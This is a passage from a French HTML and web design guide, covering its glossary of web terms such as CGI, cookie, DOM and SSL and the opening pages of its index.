
Autorisation : Permission de lire, d’écrire ou d’exécuter des fichiers

accordée à des individus, des groupes ou des utilisateurs anonymes. Voir
aussi droit d’accès.

Authentification de base : Nom d’utilisateur et/ou mot de passe exigés

pour pouvoir accéder à un fichier ou à un répertoire, sans que la
transaction (mot de passe compris) soit forcément cryptée.

B
background : Utilisé comme attribut pour l’élément BODY, il spécifie
l’image d’arrière-plan à utiliser. En tant que propriété de feuille de style,
il détermine la couleur d’arrière-plan de l’élément défini.

Balise : Chaîne de caractères débutant par < et finissant par >, qui ouvre
ou ferme un élément HTML.

Balise (éditeur de type) : Éditeur affichant à l’écran les balises HTML

alors que vous éditez votre page et possédant des raccourcis pour
faciliter l’insertion des différentes balises.

Bande passante : Taux maximal de transfert d’un lien.

Barre d’outils : Ensemble de boutons et d’icônes d’un programme

donnant accès aux outils et fonctionnalités de celui-ci.

Base de données : Un ou plusieurs fichiers rassemblant des données

individuelles, telles que les noms d’un carnet d’adresses ou les produits
d’un catalogue.

LE GUIDE COMPLET 541

 Chapitre 13 Glossaire

Barre de navigation : Partie d’une page Web donnant accès aux

différentes pages et/ou actions possibles sur un site Web.

Bien formé : Terme appliqué à un document respectant la spécification à

laquelle il fait référence (XML surtout).

Binaire : Données codées ou compressées, telles que des images, des

archives, des programmes ou tout fichier non ASCII.

Bloc (élément) : Élément HTML qui insère un saut de ligne automatique

avant sa balise d’ouverture et après sa balise de fermeture.

BODY : Corps du document : partie qui renferme le contenu visible d’une

page.

Boîte de dialogue : Fenêtre indépendante qui apparaît pour poser une

question, ou servir d’alerte ou d’avertissement à l’utilisateur. Une boîte
de dialogue exige en général une réponse avant d’être fermée.

Bordure : Ligne ou frontière autour d’un élément tel qu’un tableau ou

une image.

Bouton (aspect) : Transformer une image en lui donnant l’apparence

d’un bouton « cliquable ».

C
Cache : Emplacement du disque dur où le navigateur stocke les fichiers
temporaires.

Cadre (frame) : Panneau individuel dans un jeu d’encadrement

(frameset) permettant de voir une seule page Web à la fois.

Caractères (jeu de) : Un jeu de caractères (charset) est l’ensemble des

caractères et symboles utilisés dans un document. Par exemple,
l’alphabet japonais utilise un jeu différent de celui de l’alphabet de
l’Europe de l’Ouest.

Casse (sensibilité à la) : Différence entre majuscules et minuscules.

Cellule : Case individuelle d’un tableau.

542 LE GUIDE COMPLET

 Chapitre 13

CGI (Common Gateway Interface) : Interface de programmation qui

permet à un utilisateur Web anonyme d’exécuter un programme (tel un
script Perl) sur le serveur.

Champ (de formulaire) : Élément individuel qui récupère une saisie de

l’utilisateur.

Chiffrage : Fait de crypter les données afin qu’elles ne puissent être lues
sans l’application d’un algorithme de déchiffrage précis.

Classe : Sélecteur de feuille de style permettant d’appliquer une

définition de style à n’importe quel élément en utilisant l’attribut
facultatif class.

Client : Partie utilisateur d’une connexion réseau. L’ordinateur ou le

programme client ne gère que quelques connexions simultanément,
toutes les connexions étant initiées par lui-même.

Clip art : Image gratuite ou peu coûteuse pouvant être intégrée à tout
document. Vérifiez toujours les droits d’auteurs et contraintes
d’utilisation avant d’utiliser un quelconque clip art.

Code : Instructions sous-jacentes destinées à l’ordinateur. Le code

source HTML n’est pas compilé et peut facilement être consulté.

Codec : Code sous-jacent qui permet la lecture d’un fichier d’un format
précis. Essentiellement employé pour les fichiers son, image et vidéo. La
majorité des codecs usuels sont intégrés aux logiciels concernés, mais il
peut être à l’occasion nécessaire de télécharger un codec
complémentaire.

Colonne : Affichage vertical de données dans un tableau.

Commentaire : Chaîne de caractères de type texte non affichée par le

navigateur Web.

Compatibilité inter navigateurs : Rendre un site Web compatible avec la

plupart, sinon tous les navigateurs Web, en général en n’utilisant que les
standards Web.

Compteur : Script ou SSI (Server Side Include) comptant et affichant le

nombre de touches reçues par la page active.

LE GUIDE COMPLET 543

 Chapitre 13 Glossaire

Compression : Utilisation d’un algorithme pour réduire la taille d’un

fichier par élimination des données redondantes. Largement employé
pour les fichiers image.

Concepteur : Professionnel du Web qui organise, rédige ou met en

œuvre un site Web.

Contenu : Texte, images et fichiers multimédias placés dans une page

Web.

Contenu (notation du) : Pratique consistant à décrire tout contenu

potentiellement agressif ou dérangeant dans un élément META ou un
commentaire afin de procurer un contrôle parental sur l’expérience Web
des enfants.

Contextuel (élément) : Élément procurant des informations quant à la

signification de l’élément marqué, et non uniquement sur la façon dont il
doit être affiché.

Cookie : Petit fichier qui stocke de petits bouts d’informations afin

d’aider les concepteurs de sites à les rendre plus interactifs ou pour
permettre une personnalisation du site.

Couleurs de document : Couleurs du fond, du texte et des liens

hypertextes utilisés dans un document, tels qu’ils sont définis dans un
élément (souvent BODY) ou dans une feuille de style.

Courriel : Courrier électronique. Message envoyé rapidement et

simplement sur Internet, à l’aide du protocole SMTP (Standard Mail
Transfer Protocol), grâce à un logiciel de messagerie électronique.

D
Défilement : Utilisation des touches de direction du clavier ou des barres
de défilement pour afficher les informations hors écran en raison des
limites imposées par la taille de l’écran, mais appartenant au document
courant.

Définition (liste de) : Liste HTML possédant deux types de membres : le

terme et sa définition.

Descripteur de média : Dans une feuille de style, le type de l’agent

utilisateur qui va afficher la page Web.

544 LE GUIDE COMPLET

 Chapitre 13

Document Type Declaration (DOCTYPE) : Le DTD est un document

définissant la façon dont les éléments HTML doivent être affichés, ainsi
que les attributs correspondant à ces éléments.

DOM (Document Object Model) : Le Modèle Objet de Document est un

moyen de nommer les objets d’un document afin de pouvoir les utiliser
dans un script.

Donnée : Information, généralement transmise ou stockée dans un

ordinateur.

Droit d’accès : Permission de lire, d’écrire ou d’exécuter des fichiers,

accordée à des individus, des groupes ou des utilisateurs anonymes.

Dynamique (HTML) ou DHTML : Rend HTML dynamique et modifiable

à l’aide de langages de script et du DOM. Désormais déconseillé.

E
ECMAScript : Tentative de normalisation du langage de script employé
avec HTML. Correspond à un « tronc commun » entre JavaScript et
JScript.

Elément : Conteneur HTML qui possède une signification particulière

pour un document.

Elément (déclaration) : En XML, déclarer un élément et son utilisation

dans le DTD.

Email : Voir courriel.

En ligne : Fait d’être connecté à Internet. En HTML, caractérise

également un élément qui s’insère à la suite du précédent et avant le
suivant sans insertion de saut de ligne.

En-tête HTTP : Information envoyée automatiquement avec un

document Web lors du transfert HTTP. Il peut contenir le nom du fichier,
sa date, sa taille, ainsi que toute information mentionnée dans des
éléments META.

Enfant (élément) : Tout élément inclus dans un autre élément HTML.

LE GUIDE COMPLET 545

 Chapitre 13 Glossaire

Entité (déclaration) : En XML, déclarer un objet comme devant être

remplacé par un fichier externe ou par une donnée fréquemment utilisée,
comme une adresse électronique ou des informations de droits d’auteur.

Espace vierge : Espace inutilisé autour du texte ou d’une image dans un

programme de PAO ou la publication Internet. En HTML, certains
caractères sont interprétés, comme les retour-chariot, les tabulations et
les espaces excédentaires.

Exposant : Texte « flottant » au-dessus de la ligne normale de texte.

F
FAI : Fournisseur d’accès à Internet. Correspond à l’anglo-saxon ISP
(Internet Service Provider).

FAQ (Foire aux questions ou Frequently Asked Questions) : Un fichier

d’aide se présentant sous la forme d’une suite de questions/réponses.

Favoris : Ensemble de fichiers utilisés par Internet Explorer pour

enregistrer les adresses des sites fréquemment visités. Correspond aux
signets Netscape/Firefox.

Feuille de style : Fichier ou partie de document Web décrivant la façon

d’afficher des éléments HTML individuels dans un navigateur Web.

Firefox : La nouvelle génération du navigateur Web Mozilla.

Formulaire : En HTML, un élément permettant aux utilisateurs de saisir

des données traitées par la suite via un script côté client ou un
programme CGI.

Fréquentation : Le nombre et le type des visites sur un site.

Frameset : Jeu d’encadrement qui apparaît dans un navigateur et permet

de visualiser simultanément plusieurs pages Web.

FTP (File Transfer Protocol) : Protocole standard pour le transfert de

fichiers en tous sens sur un réseau.

Fonction : En programmation, un fragment de programme renfermant

une série d’instructions, pouvant ensuite être appelé ou utilisé à
plusieurs reprises dans le programme.

546 LE GUIDE COMPLET

 Chapitre 13

G
Gadget : Objet miniature offrant diverses fonctionnalités. C’est le nom
donné par Google à ses widgets.

GIF : Format de fichier graphique bien adapté aux images simples.

Glisser-déposer : Fait de cliquer sur un objet avec le bouton gauche,

puis de déplacer la souris en laissant le bouton enfoncé et de déposer
ensuite l’objet (en relâchant le bouton) à un autre emplacement de
l’écran.

Google : À l’origine un simple mais très performant moteur de

recherche, aujourd’hui un groupe qui propose de nombreux produits et
solutions aux internautes (Google Maps, Google Search, Google Earth,
Google Gadgets, etc…)

Google Analytics : Système de suivi de la fréquentation d’un site,

proposé par Google.

GUI (Graphical User Interface) : L’interface graphique utilisateur est la

partie graphique d’un programme qui, le plus souvent à l’aide de
fenêtres et de boîtes de dialogue, permet de contrôler ce programme. Par
opposition aux programmes de type texte, à interface ligne de
commande, souvent plus difficile à apprendre et à utiliser.

H
Headings : En HTML, les headings (en-têtes) constituent un moyen tant
visuel que structurel d’organiser et de présenter un document.

HEAD : Élément d’un document qui renferme des informations sur la

page, mais pas de contenu visible.

Hit : Terme anglophone qui correspond à une visite sur un site.

Hébergement Web : Fait d’avoir recours à un serveur Web qui

appartient à une tierce personne pour rendre un site Web disponible sur
Internet. Votre hébergeur est généralement votre FAI.

Hôte : Nom d’un ordinateur ou d’un programme sur un domaine,

comme le www de [Link] ou local2 dans [Link]

LE GUIDE COMPLET 547

 Chapitre 13 Glossaire

HTML (Hypertext Markup Language) : Ensemble des éléments identifiés

qui indique à l’agent utilisateur comment afficher ces éléments et les
informations d’une page Web.

HTTP (Hypertext Transfer Protocol) : Protocole employé par les

ordinateurs lors du transfert de documents Web ([Link]

I
Icône : Petite image aidant à la navigation ou apportant une signification
accrue au texte.

ID : Sélecteur de feuilles de style devant être unique à l’intérieur d’une

page Web, et pouvant utiliser n’importe quel style.

Image cliquable : Une même image comportant plusieurs liens

hypertextes.

Imbriquer : Placer un élément HTML à l’intérieur d’un autre élément.

Fréquemment utilisé pour des éléments identiques, tels que listes et
tableaux. Certains éléments ne peuvent être imbriqués.

Indice : Texte placé en dessous de la ligne normale de texte.

Input : Accepter des données à partir d’un site Web, en général via un
champ de formulaire.

Interactivité : Accepter des saisies utilisateur et y répondre de façon

dynamique.

Internationalisation : Rendre un site accessible à d’autres langues et

cultures. Également nommé localisation.

Internet : Réseau international et publiquement disponible d’ordinateurs

utilisant des protocoles standard réseau pour communiquer et transférer
des informations.

Internet Explorer : Le navigateur Web Microsoft intégré aux systèmes

d’exploitation Windows.

Intranet : Réseau privé interne, souvent placé à l’abri d’un pare-feu.

548 LE GUIDE COMPLET

 Chapitre 13

ISP (Internet Service Provider) : Fournisseur d’accès Internet (FAI) : la

société ou l’organisation qui procure l’accès Internet à un individu ou à
une société.

J
Java : Langage de programmation complet et compatible entre plates-
formes développé par Sun Microsystems.

JavaScript : Langage de scripts côté client développé par Netscape.

Journal : Fichier d’enregistrement d’événements précis. Par exemple,

chaque accès à un site Web : les fichiers concernés et d’autres
informations telles que l’heure, la date et l’adresse IP de chaque client.

JPEG : Format de fichier graphique particulièrement adapté aux images

complexes (photographies).

JScript : Implémentation Microsoft de JavaScript : JScript et JavaScript

ne sont pas 100 % compatible entre eux.

L
Libre (source) : Tout programme technique ou bibliothèque dont le code
source est librement disponible sous forme non compilée, généralement
afin de permettre le développement par des programmeurs individuels.

Lien hypertexte : Mot, expression ou image utilisant une marque HTML

qui en fait un lien « cliquable ». En cliquant sur un lien hypertexte,
l’utilisateur voit son navigateur Web ouvrir la ressource correspondant
au lien.

Lien (vérification de) : Utilisation d’un outil Web pour vérifier tous les
liens d’une page Web et s’assurer qu’ils sont valides.

Ligne : Données affichées horizontalement dans un tableau.

Ligne (élément) : Élément n’entraînant pas de saut de ligne ni de rupture

de paragraphe lors de sa fermeture.

Localisation : Rendre le site accessible à une langue ou une culture

particulière.

LE GUIDE COMPLET 549

 Chapitre 13 Glossaire

M
Masqué (champ) : Champ de formulaire non visible par l’utilisateur,
mais néanmoins transmis avec les autres champs de données.

mailto: : Protocole à utiliser à la place de http:// pour créer un lien de

messagerie.

Marge Espace autour de l’extérieur d’un élément.

META : Élément HTML procurant des informations complémentaires

telles qu’en-têtes HTTP, date de rafraîchissement ou d’expiration de
fichiers, noms des auteurs, mots-clés et tout autre contenu possible.

Méthode (de formulaire) : Façon dont les données du formulaire sont

transmises au serveur : GET ou PUT.

Modèle : Document préconçu dans lequel il suffit de « remplir les

blancs » pour obtenir un document utile et agréable.

Module complémentaire : Application tierce installée dans une autre

application comme programme intégré, tels Shockwave ou Acrobat
Reader. Également nommé plug-in.

Mot de passe : Mot, expression ou chaîne de caractères secrets

permettant de vérifier que vous êtes celui que vous déclarez être.

Moteur de recherche : Site Web ou programme dressant le catalogue et

indexant les sites Web, puis autorisant les utilisateurs à rechercher un
site particulier à l’aide d’un mot-clé, d’une description ou d’autres
critères.

Mozilla : Précurseur de Netscape Navigator, et maintenant un

mouvement pour les navigateurs à source libre, qui a notamment créé
Firefox et Thunderbird.

Multimédia : Combinaison quelconque de textes, graphismes, fichiers

audio ou vidéo et pages de réalité virtuelle.

N
Navigateur Web : Programme informatique utilisé par un internaute pour
visualiser une page Web.

550 LE GUIDE COMPLET

 Chapitre 13

Navigation : Outils, visuels ou autre, que procure un site Web pour que
les utilisateurs puissent se déplacer sur le site.

Netscape Communicator : Ensemble de navigation Web développé et

distribué par Netscape Corporation.

name : En HTML, attribut optionnel qui permet normalement à

n’importe quel élément de figurer dans un script.

Nom d’utilisateur : Nom qui permet d’identifier un compte utilisateur en

ligne. Une adresse électronique revêt souvent la forme
nomutilisateur@[Link].

Nom de domaine : Identifiant unique sur Internet permettant la

connexion à un ordinateur individuel.

Nom réservé : En programmation, un mot qui ne peut être employé

comme variable ou nom de fonction parce qu’il possède déjà une
signification particulière dans le langage de programmation.

Non ordonnée (liste) : Liste à puces.

Non proportionnelle (police) : Police de caractères conservant un

espacement constant quelle que soit la largeur réelle de la lettre : ceci
est une police non proportionnelle.

Non standard (navigateur Web) : Navigateur Web ne respectant pas

HTML 4, ou par extension affichant une page Web d’une façon
sensiblement différente des navigateurs les plus courants, Firefox et
Microsoft Internet Explorer.

Note de fin : Note ou commentaire placé à la fin d’un document.

Note de pied de page : Note ou commentaire placé à la fin d’une page

Web.

O
Objet : Élément énuméré dans le Modèle Objet de Document (DOM),
utilisé ou manipulé par un script côté client.

Objet incorporé : Tout fichier (le plus souvent multimédia) utilisant

l’élément OBJECT pour être placé dans un document Web.

LE GUIDE COMPLET 551

 Chapitre 13 Glossaire

Open source : Voir source libre.

Ordonnée (liste) : Liste numérotée.

P
Page Web : Page individuelle rédigée en HTML.

Palette : Ensemble des couleurs disponibles dans tout programme

d’édition graphique.

Pare-feu : Combinaison de matériel et de logiciels placée entre deux

réseaux (par exemple, un réseau interne et Internet) afin de limiter les
transactions à ce qui est autorisé.

Parent (élément) : Élément renfermant ou contrôlant (dans un script) un

autre élément.

Passage à la ligne : Ce qui se passe lorsque l’extrémité d’un texte atteint

la limite droite de l’espace de visualisation, dans une fenêtre ou une
zone de saisie.

Perl : Langage de programmation non compilé aussi simple que

répandu, utilisé pour les scripts CGI.

Pixel : Plus petit élément adressable d’un écran.

Plate-forme : Combinaison de l’architecture (matériel) et du système

d’exploitation (logiciel) rendant un environnement informatique unique
(Windows NT sur Intel et Windows NT sur DECAlpha, par exemple).

Plug-in : Voir complément.

Police : Aspect visuel des caractères d’un texte.

Positionnement : La façon de placer à l’écran des objets par rapport au

coin supérieur gauche de l’écran (positionnement absolu) ou par rapport
à d’autres objets (positionnement relatif).

Préférences : Dans un navigateur Web, le menu utilisé pour définir les

couleurs de police, la page de démarrage, les identités de messagerie et
de groupes de discussion, les dispositifs de sécurité et autres options.

552 LE GUIDE COMPLET

 Chapitre 13

Présentation : Positionnement visuel des paragraphes de texte, d’images

et d’autres éléments d’un document.

Propriétaire : Technique ou programme au développement très fermé.

Une licence doit être acquise par tout utilisateur potentiel d’une telle
technique propriétaire. Ces techniques ne sont validées par aucun comité
de standardisation.

Proxy (serveur) : Serveur effectuant la connexion à votre place, puis

renvoyant le résultat. Souvent utilisé dans des coupe-feu et pour
procurer des services de cache à de grands réseaux.

R
Remplissage : Espace entre la bordure d’un élément (s’il en possède
une) et le contenu de l’élément (texte, image ou fichier incorporé).

Réseau : Ensemble d’ordinateurs reliés à l’aide de protocoles réseau

identiques, tels que TCP/IP (pour Internet).

Résolution : Nombre de pixels, exprimé en largeur x hauteur, pouvant

être affichés par un écran.

RGB (valeurs) : Valeurs respectives de rouge, vert et bleu définissant une

couleur en HTML.

S
Sans serif (police) : Polices comme Arial et Helvetica, dépourvues
de serifs, les petites lignes en bas des bras et des jambes des lettres (le
pied d’un « l », par exemple).

Script : Petit programme pouvant effectuer un nombre illimité

d’instructions.

Scripting : Application d’un script à un élément HTML dans un script

côté client tel que JavaScript.

Sécurisé (serveur) : Serveur Web utilisant SSL (Secure Socket Layer) ou

une autre méthode de codage pour protéger tous les échanges de
données entre lui et ses clients.

LE GUIDE COMPLET 553

 Chapitre 13 Glossaire

Sécurité (zones de) : Dans Microsoft Internet Explorer, une zone de

sécurité est une région, comme un réseau local, un intranet ou Internet,
à laquelle vous appliquez des consignes de sécurité particulières.

Serif (police) : Polices comme Times New Roman et Times, dotées de

petites lignes au bout des jambages des lettres (comme le pied d’un
« l », par exemple).

Site Web : Ensemble de pages Web reliées par des liens hypertextes et
généralement maintenu par un individu ou un groupe.

Surveiller : Conserver une veille constante sur la disponibilité, le temps

de réponse et le trafic d’un site Web.

Serveur : Dans une transaction réseau, le serveur gère de nombreuses

connexions émanant de nombreux ordinateurs différents, pour transférer
les informations d’un endroit à un autre.

SGML (Standard Generalized Markup Language) : Méthode de description

de langages à balises devant procurer une information visuelle,
structurale et syntaxique du contenu d’un document. Ne s’applique pas
forcément au Web, ni même à un document électronique.

Signet : Avec Netscape et Firefox, un site fréquemment visité dont vous

enregistrez l’URL dans un fichier sur votre disque. L’équivalent d’un
Favori Internet Explorer.

Signet interne : En HTML, un lien hypertexte menant vers une

destination interne à la page.

Sortie (output) : Données ou résultat renvoyé après qu’un utilisateur a

demandé une information à un serveur Web. Se réfère généralement à
une requête.

Source : Voir code.

Spécifique navigateur : Élément et/ou fonctionnalité ne fonctionnant

que sur une famille de navigateurs et n’appartenant pas aux standards
Internet.

Spam : Pourriel. Message électronique non sollicité, en général de

nature commerciale, envoyé à des gens n’ayant rien demandé et ne
souhaitant pas les recevoir.

554 LE GUIDE COMPLET

 Chapitre 13

Spécification : Description de la mise en œuvre d’une technique. La

spécification HTML décrit la mise en œuvre préconisée de HTML dans
un navigateur Web afin que les auteurs Web puissent s’en servir
efficacement.

SSI (Server-Side Includes) : Méthode côté serveur qui permet l’inclusion

de données, fichiers et informations dans une page Web avant leur
affichage dans le navigateur Web.

SSL (Secure Sockets Layer) : Standard de sécurité pour les

communications TCP/IP, le plus souvent employé avec HTTP.

Système d’exploitation : Logiciel fournissant tous les services de base,

tel l’accès aux ressources matérielles, à la mémoire, au processeur et aux
autres programmes.

Style (propriété) : Caractéristique individuelle d’un élément HTML

modifié ou défini à l’aide d’une feuille de style externe ou interne, ou de
l’attribut style.

Style (sélecteur) : Attribut HTML (ID ou class) appliquant des

propriétés de style à l’élément contenant l’attribut sans changer
l’élément.

Submit (bouton) : Champ de formulaire envoyant les données du

formulaire vers un script.

Syntaxe : Façon particulière de rédiger le code source afin qu’il soit

compréhensible par un ordinateur.

T
Tableau : Quadrillage permettant d’afficher des données plus
efficacement en lignes et en colonnes. Également utilisé dans un simple
but de présentation.

TCP/IP (Transmission Control Protocol/Internet Protocol) : Utilisés

conjointement, ils constituent la forme primaire de transmission de
données sur Internet. IP définit le format des paquets de données
envoyés tandis que TCP gère le rassemblement des paquets à l’arrivée et
la récupération des données perdues.

LE GUIDE COMPLET 555

 Chapitre 13 Glossaire

Téléchargement (download) : Transfert des données depuis un

ordinateur distant sur votre propre ordinateur.

Téléchargement (upload) : Transfert de données ou de fichiers de votre

ordinateur local vers un ordinateur distant.

Texte (éditeur de type) : Éditeur demandant la saisie manuelle de tous

les codes HTML.

Texte seul (navigateur) : Navigateur Web qui n’affiche que du texte : pas
d’image, de contenu multimédia ni même souvent de tableaux.

Thunderbird : Le nouveau logiciel de messagerie open source de

Mozilla.

Touche (hit) : Accès vers une page Web. Correspond en général à un

accès vers la page elle-même, pas vers les images qu’elle contient.

Trafic : Portion de bande passante utilisée par le réseau à un moment

précis. Un trafic important sur votre serveur signifie de nombreuses
touches, mais également des connexions ralenties.

TWAIN (compatible) : Scanner, caméra, appareil photo ou tout autre

dispositif d’entrée compatible avec le standard TWAIN.

U
Unicode : Le système de codification de caractères permettant l’emploi
électronique de toutes les langues mondiales.

URI (Uniform Resource Identifier) : Connu auparavant sous le nom

d’URL, c’est l’emplacement d’un document ou d’un fichier sur Internet.

URL (Uniform Resource Locator) : Adresse d’identification d’une

ressource Internet (le plus souvent une page Web).

Url (codification) : Méthode de codification de caractères spéciaux telles

les barres obliques (slashes) dans une adresse URL afin qu’un serveur,
ou un autre programme, puisse les comprendre.

Utilisateur : Individu accédant à un site Web ou utilisant un programme.

556 LE GUIDE COMPLET

 Chapitre 13

Uuencode : Connu initialement sous le nom de UNIX-to-UNIX Copy,

c’est une façon de transformer un fichier binaire en texte dans le but de
le transférer à l’aide d’un programme texte seul, tel un client de
messagerie électronique.

V
Valeur : Dans un élément HTML, les attributs possèdent le plus souvent
une valeur qui modifie le comportement de l’élément.

Validation : Exécuter un programme pour s’assurer que le code HTML

utilisé dans une page Web correspond bien au standard HTML 4 du
W3C.

Valide : Terme appliqué à un document qui respecte scrupuleusement la

DTD à laquelle il fait référence (XML principalement).

Variable : Dans un programme ou un script, un emplacement nommé où

des données peuvent être stockées et récupérées selon les besoins des
programmes.

VBScript : Un langage de script conçu par Microsoft similaire par sa

syntaxe à Visual Basic.

Vignette : Image réduite en taille, qui accélère le téléchargement. Utilisé

pour les catalogues d’images et les aperçus. Également nommée
« miniature ».

W
W3C (World Wide Web Consortium) : le groupe de travail sur les
standards à l’origine des recommandations Web tels HTML, CSS et
XML.

WebTV : Technique en développement permettant aux utilisateurs de

surfer sur Internet à l’aide d’une télévision plutôt que d’un ordinateur.

Widget : Contraction de windows gadget correspondant à un dispositif

graphique affiché à l’écran. Ce terme est désormais réservé à un objet
miniature, généralement programmé en JavaScript, qui accomplit des
fonctions particulières.

LE GUIDE COMPLET 557

 Chapitre 13 Glossaire

World Wide Web ou WWW : Ensemble des ressources Web présentes sur
Internet.

WYSIWYG (What You See Is What You Get) : Tel écran, tel écrit : éditeur
dans lequel vous éditez un document tout en pouvant l’examiner sous
l’aspect exact qu’il aurait sous un navigateur.

X
XML (eXtensible Markup Language) : Sur-ensemble de HTML autorisant
l’application de différentes définitions de types de document (DTD) à
une page Web.

XSL : Feuilles de style en XML.

558 LE GUIDE COMPLET

Index
 Chapitre 14 Index

!
!DOCTYPE ............................................................................... 47
1st Page 2000 .............................................................................. 31

A
A Smaller Gif ............................................................................ 208
A, élément ........................................................................... 59, 492
Abbr, attribut ............................................................................. 441
ABBR, élément .................................................................... 151, 492
Accept, attribut ........................................................................... 341
Accept-charset, attribut ................................................................. 340
Accessibilité .............................................................................. 438
Accesskey, attribut ....................................................................... 366
ACRONYM, élément ............................................................. 151, 492
Action, attribut ........................................................................... 340
ADDRESS, élément .............................................................. 147, 492
Adobe Acrobat Reader .................................................................. 455
Adobe Golive .............................................................................. 29
Agent utilisateur ........................................................................... 42
AJAX (Asynchronous Javascript And XML) ....................................... 412
Align, attribut ................................................................... 66, 94, 102
Aligner
cellule ................................................................................... 102
paragraphe de texte .................................................................... 67
tableau .................................................................................... 94
Alink, attribut ............................................................................ 177
Alt, attribut ......................................................................... 196, 440
Amaya .................................................................................. 32, 82
Animated Shop 3 ........................................................................ 208
Appareil photo numérique .............................................................. 235
Applet ............................................................................... 424, 492
APPLET, élément ................................................................. 155, 426
AREA, élément .................................................................... 210, 492
Attribut ..................................................................................... 23
abbr ..................................................................................... 441
accept ................................................................................... 341
accept-charset .......................................................................... 340
accesskey ............................................................................... 366
action ................................................................................... 340
align ................................................................................. 66, 94
alt ................................................................................. 196, 440
axis ...................................................................................... 452
bgcolor .................................................................................. 184

560 LE GUIDE COMPLET

 Index Chapitre 14

char ...................................................................................... 132

charoff .................................................................................. 132
charset .................................................................................. 465
class ..................................................................................... 140
codebase ................................................................................ 226
color .............................................................................. 166, 177
cols ...................................................................................... 247
content ................................................................................... 50
data ...................................................................................... 226
de l’élément IMG ..................................................................... 224
de l’élément OBJECT .......................................................... 233, 426
de l’élément FRAME ................................................................ 258
dir ................................................................................. 461, 464
disabled ................................................................................. 368
enctype ........................................................................... 340, 374
face ...................................................................................... 166
frameborder ............................................................................ 258
headers .................................................................................. 441
height ................................................................................... 194
href ................................................................................ 213, 305
HTTP-EQUIV ......................................................................... 419
id ....................................................................... 62, 140, 269, 287
ismap .................................................................................... 222
lang ......................................................................... 140, 145, 457
link, vlink et alink .................................................................... 177
longdesc ................................................................................ 259
marginwidth et marginheight ........................................................ 258
media ............................................................................. 291, 305
method ............................................................................ 340, 370
name ..................................................................... 50, 62, 257, 340
nohref ................................................................................... 220
noresize ................................................................................. 258
readonly ................................................................................ 369
rel ....................................................................................... 304
rows ..................................................................................... 247
scope .................................................................................... 441
scrolling ................................................................................ 258
shape .................................................................................... 214
size ...................................................................................... 165
span ..................................................................................... 124
src ....................................................................................... 257
style ............................................................................... 148, 281
summary ..................................................................... 93, 128, 439
tabindex ................................................................................ 363
target .................................................................................... 261
text ...................................................................................... 177

LE GUIDE COMPLET 561

 Chapitre 14 Index

title ................................................................................ 196, 304

type ................................................... 74, 76, 226, 287, 305, 343, 386
usemap .................................................................................. 231
width ........................................................................ 104, 124, 194
Axis, attribut ............................................................................. 452

B
B, élément .......................................................................... 164, 493
Background, attribut .................................................................... 187
Balise ....................................................................................... 22
BASE, élément .................................................................... 264, 493
BASEFONT, élément ............................................................. 165, 493
BDO, élément ...................................................................... 463, 493
Bgcolor, attribut .......................................................................... 184
BIG, élément ....................................................................... 164, 493
Bloc-notes .................................................................................. 34
BLOCKQUOTE, élément ........................................................ 143, 493
BODY, élément ..................................................................... 53, 493
Border, attribut ............................................................................ 95
BR, élément .......................................................................... 65, 493
BUTTON, élément ................................................................ 350, 494

C
Calculatrice ............................................................................... 182
CAPTION, élément ................................................................. 93, 494
Caractère
encodage de ............................................................................ 157
langues et jeux de ..................................................................... 465
non affichable .......................................................................... 163
spéciaux .......................................................................... 154, 159
Casse, sensibilité à la ..................................................................... 24
Cellpadding, attribut ...................................................................... 99
Cellspacing, attribut ...................................................................... 99
CENTER .................................................................................. 494
CGI (Common Gateway Interface) ................................................... 415
Char, attribut ............................................................................. 132
Charoff, attribut .......................................................................... 132
Charset, attribut .......................................................................... 465
Citation
créer ..................................................................................... 143
imbriquer ............................................................................... 145
Cite, attribut .............................................................................. 143

562 LE GUIDE COMPLET

 Index Chapitre 14

CITE, élément ............................................................... 143, 155, 494

Class, attribut ............................................................................. 140
CNIL (Commission Nationale Informatique et Liberté) ........................... 375
Code source
afficher ................................................................................... 52
CODE, élément .................................................................... 152, 494
Codebase, attribut ....................................................................... 226
COL, élément ...................................................................... 122, 494
COLGROUP, élément ............................................................ 122, 494
Color, attribut ...................................................................... 166, 177
Cols, attribut .............................................................................. 247
Colspan, attribut ......................................................................... 107
Commentaire
HTML .................................................................................. 137
JavaScript .............................................................................. 390
SGML .................................................................................. 389
VBScript ............................................................................... 390
Composer ................................................................................... 33
Compte
Google Analytics ...................................................................... 478
Content, attribut ........................................................................... 50
Cookie ..................................................................................... 416
Corell Draw .............................................................................. 180
Couleur
ajouter à une page Web .............................................................. 177
modifier dans un élément ............................................................ 183
modifier dans un tableau ............................................................. 184
modifier le schéma de ................................................................ 178
modifier pour une cellule de tableau ............................................... 184
noms et valeurs RGB ................................................................ 177
précautions à prendre ................................................................. 184
Créer
bloc de texte comme pré-formatté ................................................. 141
citation .................................................................................. 143
commentaire HTML .................................................................. 137
couleurs ................................................................................. 177
GIF animé .............................................................................. 199
image ................................................................................... 190
image cliquable ........................................................................ 214
image d’arrière-plan .................................................................. 187
jeu d’encadrement .................................................................... 245
lien hypertexte .......................................................................... 59
ligne horizontale ...................................................................... 136
liste à puce .............................................................................. 75
liste de définitions ...................................................................... 76
liste ordonnée ........................................................................... 73

LE GUIDE COMPLET 563

 Chapitre 14 Index

listes imbriquées ........................................................................ 79

notation mathématique ............................................................... 169
page d’accueil ........................................................................... 47
paragraphe de texte .................................................................... 57
saut de ligne ............................................................................. 65
tableau .................................................................................... 89
tableau à cellules fusionnées ........................................................ 107
titre ....................................................................................... 54
CSS (Cascading Style Sheet) ..................................................... 18, 280
propriétés de boîtes ................................................................... 311
propriétés de texte et de police ..................................................... 310
sélecteur ................................................................................ 282
CutePage (voir SoThink) ................................................................ 36

D
Data, attribut ............................................................................. 226
DD, élément ......................................................................... 76, 495
DEL ........................................................................................ 495
DFN, élément ...................................................................... 155, 495
DHTML (Dynamic HyperText Markup Language) .................................. 19
DIR ........................................................................................ 495
Dir, attribut ......................................................................... 461, 464
Disabled, attribut ........................................................................ 368
DIV, élément ................................................................. 140, 288, 495
DL, élement .......................................................................... 76, 495
DOCTYPE, élément .................................................................... 245
DOM (Document Object Model) ..................................................... 395
DOM2 (Document Object Model level 2) ............................................ 20
Donnée (partager entre des cadres) ................................................... 269
Dpi (dots per inch) ...................................................................... 234
Dreamweaver .............................................................................. 29
DT, élément .......................................................................... 76, 495
DTD (Document Type Definition) ...................................................... 16

E
ECMAScript ......................................................................... 19, 412
Editeur ...................................................................................... 28
1st Page .................................................................................. 31
Adobe Golive ........................................................................... 29
Amaya .................................................................................... 32
Composer Mozilla ...................................................................... 33
Dreamweaver MX 2004 ............................................................... 29

564 LE GUIDE COMPLET

